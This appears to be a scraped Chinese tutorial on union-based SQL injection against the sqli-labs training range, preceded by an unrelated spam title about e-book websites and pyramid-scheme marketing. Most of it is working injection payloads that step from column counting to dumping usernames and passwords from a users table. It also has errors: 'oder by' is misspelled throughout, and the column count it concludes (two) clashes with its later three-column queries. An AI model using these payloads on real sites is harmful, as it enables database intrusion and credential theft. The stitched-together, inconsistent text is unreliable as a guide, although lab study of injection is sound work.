如何做電子書網(wǎng)站全網(wǎng)營銷系統(tǒng)是不是傳銷
目錄
注入類型
判斷字段數(shù)
確定回顯點
查找數(shù)據(jù)庫名
查找數(shù)據(jù)庫表名?
查詢字段名
獲取想要的數(shù)據(jù)?
以sqli-labs靶場上的簡單SQL注入為例
注入類型
判斷是數(shù)字類型還是字符類型
常見的閉合方式
?id=1'、?id=1"、?id=1')、?id=1")等,大多都是單引號、雙引號、括號的組合。
先嘗試下字符型輸入:?id=1'and 1=1#或者?id=1'and 1=1--+
(如果是字符型,可以用#或者--+或者%23注釋掉單引號)
如果?id=1沒有回顯,那么輸入?id=1 or 1=1(數(shù)字型)那么肯定會回顯,輸入?id=1' or 1=1--+(字符型)也肯定會回顯(過濾字符可能不是--+,也可能是別的),但是用?id=1 and 1=1,或者?id=1' and 1=1--+不一定回顯
再試下:?id=1' and 1=2--+?
沒有回顯?
證明是字符型輸入,
回顯是指頁面有數(shù)據(jù)信息返回。無回顯是指根據(jù)輸入的語句,頁面沒有任何變化或者沒有數(shù)據(jù)庫中的內(nèi)容顯示到網(wǎng)頁中。
如果是數(shù)字型輸入,那么就可以正常輸入:1
如何判斷是字符型還是數(shù)字型呢,有一種方法:
數(shù)字型:
- 1 and?1=1? //能回顯
- 1 and 1=2? //不能回顯
字符型:
- 1' and 1=1#? //能回顯
- 1' and 1=2#? ?//不能回顯
判斷字段數(shù)
判斷字段數(shù) order by
分四次輸入:1' and 1=1 oder by 1--+? ?1' and 1=1 oder by 2--+??1' and 1=1 oder by 3--+? ? 1' and 1=1 oder by 4--+
前兩次都是正常回顯,第三次報錯,顯示沒有第三列,說明只有兩個字段?
?
確定回顯點
輸入:1' and 1=1 union select 1,2,3--+
發(fā)現(xiàn)1,2,3三個數(shù)沒有一個回顯,
因為第一個查詢語句把后面的給擋住了,所以要把第一個查詢語句失效
可以輸入:1' and 1=2?union select 1,2,3--+? 或者-1' union select 1,2,3--+
2,3的位置成功回顯 。2,3都可以是注入點?
?
就是可以更改這些點對應(yīng)的相對的輸入位置可以得到不同的輸出;
查找數(shù)據(jù)庫名
輸入:-1'?union select 1,2,database()--+
?得到對應(yīng)的數(shù)據(jù)庫名字:security
查找數(shù)據(jù)庫表名?
?輸入:-1' union select 1,2,table_name from information_schema.tables where table_schema='security'--+
得到表名:emails,但是在這個數(shù)據(jù)庫中可能不止一個表,所以我們要得到所有表,而不只是一個emails表
輸入:-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
在mysql的關(guān)聯(lián)查詢或子查詢中,函數(shù) group_concat(arg) 可以合并多行的某列(或多列)數(shù)據(jù)為一行,默認以逗號分隔。
所以我們可以將tables表里面的所有tables_name表名合并成一行輸出?
?顯然我們想要的是users表
查詢字段名
我們會用到上面圖片中的column表
輸入:-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?
users表下的字段數(shù)很多,顯然易見,我們想要獲取的只是賬號密碼,所以,對我們有用的是username和password字段
獲取想要的數(shù)據(jù)?
輸入:-1' union select 1,2,group_concat(username,'-',password) from users --+
?
成功得到對應(yīng)的賬號密碼?
?